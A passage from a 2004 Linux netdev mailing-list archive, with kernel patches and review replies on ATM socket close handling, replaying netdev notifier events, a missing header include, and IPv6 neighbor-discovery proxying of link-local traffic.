linux-atm-general@lists.sourceforge.net Subject: [PATH] atm/clip device discovery on init not needed Message-Id: <20040114164338.1f0d15e4.shemminger@osdl.org> In-Reply-To: <20040113163631.1a9c1a59.davem@redhat.com> References: <20040113105843.0d1351cb.shemminger@osdl.org> <20040113163631.1a9c1a59.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2460 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 664 Lines: 17 Atm/clip driver was doing device list walk to find interfaces. This will no longer be needed now that events are replayed when register_netdevice_notifier is called (see earlier patch) diff -Nru a/net/atm/clip.c b/net/atm/clip.c --- a/net/atm/clip.c Wed Jan 14 16:27:05 2004 +++ b/net/atm/clip.c Wed Jan 14 16:27:05 2004 @@ -754,9 +754,6 @@ printk(KERN_ERR "register_netdevice_notifier failed\n"); if (register_inetaddr_notifier(&clip_inet_notifier)) printk(KERN_ERR "register_inetaddr_notifier failed\n"); - for (dev = clip_devs; dev; dev = PRIV(dev)->next) - if (dev->flags & IFF_UP) - (void) to_atmarpd(act_up,PRIV(dev)->number,0); return 0; } From shemminger@osdl.org Wed Jan 14 16:44:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 16:44:40 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F0iR6H028365 for ; Wed, 14 Jan 2004 16:44:27 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0F0iGo17773; Wed, 14 Jan 2004 16:44:16 -0800 Date: Wed, 14 Jan 2004 16:44:16 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, chas williams Subject: Re: [PATCH] (1/5) replay netdev notifier events on registration Message-Id: <20040114164416.753a62fc.shemminger@osdl.org> In-Reply-To: <20040113163631.1a9c1a59.davem@redhat.com> References: <20040113105843.0d1351cb.shemminger@osdl.org> <20040113163631.1a9c1a59.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2461 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1851 Lines: 59 > Looks good.... are you absolutely sure no remaining notifiers will > barf if they get a register for an already existing device? I know up > events should be ok... Certainty is impossible; but here is what I saw.. Possible problems: qeth: s390 driver -- bug, code is narcissistic and thinks it only gets notified about it's own devices. atm/mpc: only looks for "lec" devices, don't know if they could exist before it starts. Unrelated problems: ddp: registers for notifier before it is initialized ipmr: no locking for add/delete ipfwadm: no module owner on /proc interface The following are okay: bonding: since must be master or slave can't exist yet bpqether: patched, was doing replay already ppoe: only cares about down dlci: only cares about unregister lapbether: patched, was doing replay already vlan: only cares about groups that can't exist yet aarp: only down ddp: only cares about down atm/clip: see additional patch ax25: only cares about ax25 devices can't exist yet bridge: only cares about bridged devices can't exist yet dst: only down rtnetlink: ok no sockets can be open yet decnet: see additional patch about startup order dn_rules: looks okay econet: only unregister arp: only address changes devinet: only inet devices can't exist yet fib_frontend: looks okay happens before devices anyway fib_rules: looks okay happens before devices anyway ipmr: only unregister ipqueue: only down ipfwadm: only for chains which can't exist yet ip6_sockglue: okay ndisc: patched ip6: down only ipx: only for ipx devices which can't exist at initial irsyms: harmless, whole notify could be removed netrom: down only packet: only cares about sockets which can't exist at initial rose: down only wanpipe: only cares about sockets which can't exist at initial x25: only cares about x25 which can't exist yet xfrm_policy: down only From chas@cmf.nrl.navy.mil Wed Jan 14 20:16:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 20:16:45 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F4GW6H004317 for ; Wed, 14 Jan 2004 20:16:32 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i0F4GRRr028875; Wed, 14 Jan 2004 23:16:27 -0500 (EST) Message-Id: <200401150416.i0F4GRRr028875@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: better behavior for sendmsg/recvmsg during async closes Reply-To: chas3@users.sourceforge.net Date: Wed, 14 Jan 2004 23:16:28 -0500 From: chas williams (contractor) X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 2463 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 2002 Lines: 62 2.6 version of the same 2.4 patch # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1513 -> 1.1514 # net/atm/common.c 1.61 -> 1.62 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/01/14 chas@relax.cmf.nrl.navy.mil 1.1514 # [ATM]: better behavior for sendmsg/recvmsg during async closes # -------------------------------------------- # diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Wed Jan 14 23:06:24 2004 +++ b/net/atm/common.c Wed Jan 14 23:06:24 2004 @@ -476,9 +476,8 @@ return -EOPNOTSUPP; vcc = ATM_SD(sock); if (test_bit(ATM_VF_RELEASED,&vcc->flags) || - test_bit(ATM_VF_CLOSE,&vcc->flags)) - return -sk->sk_err; - if (!test_bit(ATM_VF_READY, &vcc->flags)) + test_bit(ATM_VF_CLOSE,&vcc->flags) || + !test_bit(ATM_VF_READY, &vcc->flags)) return 0; skb = skb_recv_datagram(sk, flags, flags & MSG_DONTWAIT, &error); @@ -530,12 +529,10 @@ size = m->msg_iov->iov_len; vcc = ATM_SD(sock); if (test_bit(ATM_VF_RELEASED, &vcc->flags) || - test_bit(ATM_VF_CLOSE, &vcc->flags)) { - error = -sk->sk_err; - goto out; - } - if (!test_bit(ATM_VF_READY, &vcc->flags)) { + test_bit(ATM_VF_CLOSE, &vcc->flags) || + !test_bit(ATM_VF_READY, &vcc->flags)) { error = -EPIPE; + send_sig(SIGPIPE, current, 0); goto out; } if (!size) { @@ -561,12 +558,10 @@ break; } if (test_bit(ATM_VF_RELEASED,&vcc->flags) || - test_bit(ATM_VF_CLOSE,&vcc->flags)) { - error = -sk->sk_err; - break; - } - if (!test_bit(ATM_VF_READY,&vcc->flags)) { + test_bit(ATM_VF_CLOSE,&vcc->flags) || + !test_bit(ATM_VF_READY,&vcc->flags)) { error = -EPIPE; + send_sig(SIGPIPE, current, 0); break; } prepare_to_wait(sk->sk_sleep, &wait, TASK_INTERRUPTIBLE); From chas@cmf.nrl.navy.mil Wed Jan 14 20:16:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 20:16:28 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F4GE6H004302 for ; Wed, 14 Jan 2004 20:16:15 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i0F4G8Rr028870; Wed, 14 Jan 2004 23:16:08 -0500 (EST) Message-Id: <200401150416.i0F4G8Rr028870@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: better behavior for sendmsg/recvmsg during async closes Reply-To: chas3@users.sourceforge.net Date: Wed, 14 Jan 2004 23:16:09 -0500 From: chas williams (contractor) X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 2462 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 2577 Lines: 76 sendmsg() should probably just return -EPIPE (and send SIGPIPE) instead of returning the error from sigd during an asynchronus close. often the error code is 0 when the other side cleanly terminates the svc since its likely the other side closed the svc without a 'hard' error. recvmsg() shouldnt return EPIPE (this isnt a 'valid' return code for recvmsg). returning 0 (end of file) seems the best idea when the remote side has closed first. please apply to 2.4 # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1168 -> 1.1169 # net/atm/common.c 1.36 -> 1.37 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/01/14 chas@relax.cmf.nrl.navy.mil 1.1169 # [ATM]: better behavior for sendmsg/recvmsg during async closes # -------------------------------------------- # diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Wed Jan 14 22:13:22 2004 +++ b/net/atm/common.c Wed Jan 14 22:13:22 2004 @@ -629,11 +629,10 @@ if (flags & ~MSG_DONTWAIT) /* only handle MSG_DONTWAIT */ return -EOPNOTSUPP; vcc = ATM_SD(sock); - if (test_bit(ATM_VF_RELEASED,&vcc->flags) || - test_bit(ATM_VF_CLOSE,&vcc->flags)) - return -sk->err; - if (!test_bit(ATM_VF_READY, &vcc->flags)) - return 0; + if (test_bit(ATM_VF_RELEASED, &vcc->flags) || + test_bit(ATM_VF_CLOSE, &vcc->flags) || + !test_bit(ATM_VF_READY, &vcc->flags)) + return 0; /* end of file */ skb = skb_recv_datagram(sk, flags, flags & MSG_DONTWAIT, &error); if (!skb) @@ -688,12 +687,10 @@ size = m->msg_iov->iov_len; vcc = ATM_SD(sock); if (test_bit(ATM_VF_RELEASED, &vcc->flags) || - test_bit(ATM_VF_CLOSE, &vcc->flags)) { - error = -sk->err; - goto out; - } - if (!test_bit(ATM_VF_READY, &vcc->flags)) { - error = -EPIPE; + test_bit(ATM_VF_CLOSE, &vcc->flags) || + !test_bit(ATM_VF_READY, &vcc->flags)) { + error = -EPIPE; + send_sig(SIGPIPE, current, 0); goto out; } if (!size) { @@ -721,12 +718,10 @@ break; } if (test_bit(ATM_VF_RELEASED,&vcc->flags) || - test_bit(ATM_VF_CLOSE,&vcc->flags)) { - error = -sk->err; - break; - } - if (!test_bit(ATM_VF_READY,&vcc->flags)) { + test_bit(ATM_VF_CLOSE,&vcc->flags) || + !test_bit(ATM_VF_READY,&vcc->flags)) { error = -EPIPE; + send_sig(SIGPIPE, current, 0); break; } } From pekkas@netcore.fi Wed Jan 14 22:00:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 22:00:32 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F60G6H007723 for ; Wed, 14 Jan 2004 22:00:17 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i0F5vuU10131; Thu, 15 Jan 2004 07:57:56 +0200 Date: Thu, 15 Jan 2004 07:57:56 +0200 (EET) From: Pekka Savola To: Ville Nuorvala cc: yoshfuji@linux-ipv6.org, , , Subject: Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2464 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 2495 Lines: 59 Hi, On Wed, 14 Jan 2004, Ville Nuorvala wrote: > > Please check out draft-thaler-ipv6-ndproxy-xx.txt -- it used ND > > proxying (similar to proxy ARP). > > Oh yes, true. I actually checked out the draft some months ago... > (And just re-read it :) > > > I fear this change might break that.. > > I don't think it does. Here's why: You may have misunderstood ND proxying. It's just basically an enhanced Proxy ARP which also works with IPv6. And proxy arp is implemented in the kernel. See below: > The current proxy ND implementation in the kernel only captures multicast > NS messages. A unicast NS (i.e. a NUD probe) won't be captured by the > proxy, in stead it tries to _route_ it to the proxied node. Practically all ND packets should be proxied, I think. [...] > The traditional proxy described in RFC 2461 is a router, what Thaler > describes is closer to a bridge. The protocol described in Thaler's draft > can't rely on routing for what it is doing, in stead it must AFAICS bypass > the routing altogether, either inside the kernel, or by pushing the > traffic through user space. No, Thaler's ND proxy is *not* a bridge; functionally, it's quite close, but from the implementation perspective, it's not. All the communication terminates (at the IP layer) at the ND proxy (and that's why the TTL won't decrease, because practically the same request is replicated on the other links with TTL=255). Therefore, it can act as a "router" between two physical links, and the users of the links can still use e.g. link-local addresses. ND proxy doesn't "route" between physical segments, because by definition, all the physical segments share a subnet, and there are no specifics. On the other hand, it duplicates all ICMPv6 ND packets across the links (unless there is a mapping in a cache), and expands the IP layer subnet (even, the link-local address domain!) to span multiple links. > In contrast, since 2 always applies (i.e. you can't route link-locals) > this patch only removes the unnecessary steps described in 3 before the > error message is sent. Proxying link-locals break fully ND proxying. I grant you that it may not work out of the box at the moment (because it hasn't been implemented! :-) but we shouldn't be making steps in the wrong direction here.. :-) -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From herbert@gondor.apana.org.au Thu Jan 15 00:01:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 00:01:17 -0800 (PST) Received: from arnor.me.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F8106H010850 for ; Thu, 15 Jan 2004 00:01:04 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.me.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1Ah2Qt-00011W-00; Thu, 15 Jan 2004 19:00:51 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1Ah2Qs-0002CD-00; Thu, 15 Jan 2004 19:00:50 +1100 Date: Thu, 15 Jan 2004 19:00:50 +1100 To: "David S. Miller" , netdev@oss.sgi.com Subject: [PATCH] Include asm/atomic.h for atomic_t Message-ID: <20040115080050.GA8430@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="bg08WKrSYDhXBjb5" Content-Disposition: inline User-Agent: Mutt/1.5.4i From: Herbert Xu X-archive-position: 2465 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 1080 Lines: 38 --bg08WKrSYDhXBjb5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Dave: include/net/flow.h uses atomic_t without including asm/atomic.h which sometimes causes build failures. This patch adds the inclusion. Cheers, -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --bg08WKrSYDhXBjb5 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p Index: kernel-2.5/include/net/flow.h =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/include/net/flow.h,v retrieving revision 1.3 diff -u -r1.3 flow.h --- kernel-2.5/include/net/flow.h 13 Jun 2003 11:22:07 -0000 1.3 +++ kernel-2.5/include/net/flow.h 15 Jan 2004 07:58:21 -0000 @@ -8,6 +8,7 @@ #define _NET_FLOW_H #include +#include struct flowi { int oif; --bg08WKrSYDhXBjb5-- From davem@pizda.ninka.net Thu Jan 15 00:23:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 00:23:18 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F8N36H012263 for ; Thu, 15 Jan 2004 00:23:03 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA26471; Thu, 15 Jan 2004 00:15:39 -0800 Date: Thu, 15 Jan 2004 00:15:38 -0800 From: "David S. Miller" To: Herbert Xu Cc: netdev@oss.sgi.com Subject: Re: [PATCH] Include asm/atomic.h for atomic_t Message-Id: <20040115001538.4e0fa334.davem@redhat.com> In-Reply-To: <20040115080050.GA8430@gondor.apana.org.au> References: <20040115080050.GA8430@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2466 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 249 Lines: 7 On Thu, 15 Jan 2004 19:00:50 +1100 Herbert Xu wrote: > include/net/flow.h uses atomic_t without including asm/atomic.h which > sometimes causes build failures. This patch adds the inclusion. Applied, thanks Herbert. From davem@pizda.ninka.net Thu Jan 15 00:26:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 00:26:50 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F8QZ6H012681 for ; Thu, 15 Jan 2004 00:26:35 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA26533; Thu, 15 Jan 2004 00:19:21 -0800 Date: Thu, 15 Jan 2004 00:19:21 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: better behavior for sendmsg/recvmsg during async closes Message-Id: <20040115001921.5d3edcbc.davem@redhat.com> In-Reply-To: <200401150416.i0F4GRRr028875@ginger.cmf.nrl.navy.mil> References: <200401150416.i0F4GRRr028875@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2467 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 263 Lines: 7 On Wed, 14 Jan 2004 23:16:28 -0500 chas williams (contractor) wrote: > 2.6 version of the same 2.4 patch I applied the 2.6.x version, the 2.4.x version did not apply cleanly at all. Please regenerate the 2.4.x patch for me, thanks Chas. From vnuorval@tcs.hut.fi Thu Jan 15 00:46:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 00:46:56 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F8kU6H013935 for ; Thu, 15 Jan 2004 00:46:33 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id BE6A48003CF; Thu, 15 Jan 2004 10:46:28 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0F8kS7Y029269; Thu, 15 Jan 2004 10:46:28 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0F8kRoe029265; Thu, 15 Jan 2004 10:46:27 +0200 Date: Thu, 15 Jan 2004 10:46:26 +0200 (EET) From: Ville Nuorvala To: Pekka Savola Cc: yoshfuji@linux-ipv6.org, davem@redhat.com, usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2468 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 3988 Lines: 91 On Thu, 15 Jan 2004, Pekka Savola wrote: > > The current proxy ND implementation in the kernel only captures multicast > > NS messages. A unicast NS (i.e. a NUD probe) won't be captured by the > > proxy, in stead it tries to _route_ it to the proxied node. > > Practically all ND packets should be proxied, I think. Currently the specification (RFC 2461) only talks about NS packets, but I agree. It seems logical for a proxy to handle all ND messages. Whats the status of RFC 2461bis? Can we still ask for further clarifications about the proxy behavior? > [...] > > The traditional proxy described in RFC 2461 is a router, what Thaler > > describes is closer to a bridge. The protocol described in Thaler's draft > > can't rely on routing for what it is doing, in stead it must AFAICS bypass > > the routing altogether, either inside the kernel, or by pushing the > > traffic through user space. > > No, Thaler's ND proxy is *not* a bridge; functionally, it's quite > close, but from the implementation perspective, it's not. All the > communication terminates (at the IP layer) at the ND proxy (and that's > why the TTL won't decrease, because practically the same request is > replicated on the other links with TTL=255). Therefore, it can act as > a "router" between two physical links, and the users of the links can > still use e.g. link-local addresses. I was talking about it from the functional point of view (and I didn't actually call it a bridge ;) My reasoning here is that Thaler's proxy passes IPv6 packets (except ND etc) unchanged from one physical link to another, therefore it isn't a router, but closer to a bridge. The point is just that. We can't use the *routing* functionality to pass the packet from one physical segment to another. As I mentioned routing link-locals isn't possible, neither is routing of multicast packets (at this moment), a router just forwards a packet to one interface, not all of them, and last but not least, a router decreases the hop limit of a forwarded packet. This means we need some other mechanism than *routing* to achieve the functionality in Thaler's draft. > ND proxy doesn't "route" between physical segments, because by > definition, all the physical segments share a subnet, and there are no > specifics. On the other hand, it duplicates all ICMPv6 ND packets > across the links (unless there is a mapping in a cache), and expands > the IP layer subnet (even, the link-local address domain!) to span > multiple links. Exactly! Thaler's proxy doesn't route traffic, the MIPv6 proxy does. They are not the same thing. My change allows a router (MIPv6 HA) to correctly signal that it can't *route* a link-local packet. There are IMO two different uses of proxy ND, which are quite different from each other: We have the Thaler proxy, with its "bridge" like behavior. It acts as a proxy for *any* address on the subnet (if needed), and passes IP packets between the interfaces unchanged. Then we have the router (for example HA) acting as a proxy for a *particular* node (for example MN) *routing* packets to it. > Proxying link-locals break fully ND proxying. I grant you that it may > not work out of the box at the moment (because it hasn't been > implemented! :-) but we shouldn't be making steps in the wrong > direction here.. :-) AFAICS a Thaler proxy would forward the packet using some other path than ip6_forward(), therefore it wouldn't trigger the ICMP error message. I'm not sure how proxy ARP is done in Linux, but I don't know if the current proxy ND code is of any use for Thaler proxy. The proxied addresses are explicitly stored in the nd_tbl and the proxy relies on routing to get the packets delivered to the proxied node. This is exactly what a HA should do, but it doesn't fit well into the Thaler model. Regards, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From davem@pizda.ninka.net Thu Jan 15 00:50:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 00:50:27 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F8oF6H014299 for ; Thu, 15 Jan 2004 00:50:15 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA26604; Thu, 15 Jan 2004 00:42:55 -0800 Date: Thu, 15 Jan 2004 00:42:55 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com, chas@cmf.nrl.navy.mil Subject: Re: [PATCH] (1/5) replay netdev notifier events on registration Message-Id: <20040115004255.62dc8b95.davem@redhat.com> In-Reply-To: <20040114164416.753a62fc.shemminger@osdl.org> References: <20040113105843.0d1351cb.shemminger@osdl.org> <20040113163631.1a9c1a59.davem@redhat.com> <20040114164416.753a62fc.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2469 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 2446 Lines: 75 On Wed, 14 Jan 2004 16:44:16 -0800 Stephen Hemminger wrote: > Possible problems: > qeth: s390 driver -- bug, code is narcissistic and thinks it only gets > notified about it's own devices. > > atm/mpc: only looks for "lec" devices, don't know if they could exist > before it starts. These are both hard errors and potential bogus pointer derefences, they both assume the type of dev->priv. The atm/mpc case has a netdev->name==NULL test which is a funny relic :-) Both these cases ought to be fixed. However, the atm/mpc case poses an issue, how to identify "my" devices? We've established that the textual name is basically arbitrary and not a reliable key. Currently I see only two possible reliable solutions, but I like neither of them: 1) Device driver doing this needs to keep own list of net devices it has created. Then it's notifiier code does something like: if (!find_in_mpoa_devlist(dev)) return NOTIFY_DONE; 2) Add a type cookie or similar to the generic netdev, only devices which need to identify themselves in these generic kind of cases add identifier values there, so currently that would be MPOA and QETH, then the code goes: if (dev->type_cookie == NETDEV_TYPE_MPOA) return NOTIFY_DONE; But as stated I think both of these ideas absolutely stink. ... wait... Ok, I have an idea, consider this. We add a netdev->notifier() method. We create a new routine to net/core/dev.c: static void run_netdev_notifiers(int event, struct net_device *dev) { notifier_call_chain(&netdev_chain, event, dev); if (dev->notifier) dev->notifier(dev, event); } Then replace all the notifier_call_chain(&netdev_chain, ...) calls in net/core/dev.c with invocations of run_netdev_notifiers(). I believe we can (and thus should) add an ASSERT_RTNL() to this new run_netdev_notifiers() functions, although I'm not %100 sure. What do you think Stephen? > Unrelated problems: > ddp: registers for notifier before it is initialized Just moving it down to the end of atalk_init() should fix this? Actually, I don't really see any potential problem here. > ipmr: no locking for add/delete Not a problem, RTNL semaphore is held. > ipfwadm: no module owner on /proc interface Please elaborate. I don't see the ipfwadm netdev event notifier messing with procfs stuff, or is this happen at a level or two of indirection somewhere else? > The following are okay: Thanks for the audit. From davem@pizda.ninka.net Thu Jan 15 00:51:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 00:51:32 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F8pJ6H014661 for ; Thu, 15 Jan 2004 00:51:19 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA26633; Thu, 15 Jan 2004 00:44:04 -0800 Date: Thu, 15 Jan 2004 00:44:04 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com, chas@cmf.nrl.navy.mil, linux-atm-general@lists.sourceforge.net Subject: Re: [PATH] atm/clip device discovery on init not needed Message-Id: <20040115004404.51b00808.davem@redhat.com> In-Reply-To: <20040114164338.1f0d15e4.shemminger@osdl.org> References: <20040113105843.0d1351cb.shemminger@osdl.org> <20040113163631.1a9c1a59.davem@redhat.com> <20040114164338.1f0d15e4.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2470 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 300 Lines: 8 On Wed, 14 Jan 2004 16:43:38 -0800 Stephen Hemminger wrote: > Atm/clip driver was doing device list walk to find interfaces. > This will no longer be needed now that events are replayed when > register_netdevice_notifier is called (see earlier patch) Applied, thanks Stephen. From davem@pizda.ninka.net Thu Jan 15 00:52:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 00:52:50 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F8qb6H015037 for ; Thu, 15 Jan 2004 